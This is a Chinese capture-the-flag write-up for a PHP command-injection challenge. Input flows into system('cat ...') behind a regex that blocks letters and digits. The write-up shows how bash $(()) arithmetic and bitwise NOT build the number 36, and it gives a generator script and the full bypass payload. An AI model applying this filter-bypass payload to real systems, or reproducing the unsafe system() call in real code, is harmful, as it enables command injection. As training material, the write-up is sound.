1. 代码审计

      1. // 还能炫的动吗?
      2. //flag in 36.php
      3. if(isset($_GET['c'])){
      4. $c=$_GET['c'];
      5. if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c))
      6. //这里把数字,字母,通配符,点号都过滤了
      7. {
      8. system("cat ".$c.".php");
      9. //这里只要构造出36就可以了
      10. }
      11. }else{
      12. highlight_file(__FILE__);
      13. }
    2. 基本都过滤了,但是提示flag in 36.php,并且system(cat .php)所以只要构造出36就可以了,参考了大佬的文章,linux中可以使用$(())参与运算,刚好这三个符号没有被过滤掉。

      $(()) 代表做一次运算,因为里面为空,也表示值为0
      $((~$(()))) 对0作取反运算,值为-1
      $(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
      $((~$(($((~$(())))$((~$(()))))))) 再对-2做一次取反得到1,所以值为1

      如果对取反不了解可以看一下原码,补码,反码,这里给个容易记得式子,如果对a按位取反,则得到结果为-(a+1),也就是对0取反得到-1

    image-20210706151436106.png

    1. 我们利用脚本进行构造
      shell="$(("+"~$(("+"$((~$(())))"*37+"))))"
      print(shell)
      
      #payload
      $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
      
      image-20210706151629175.png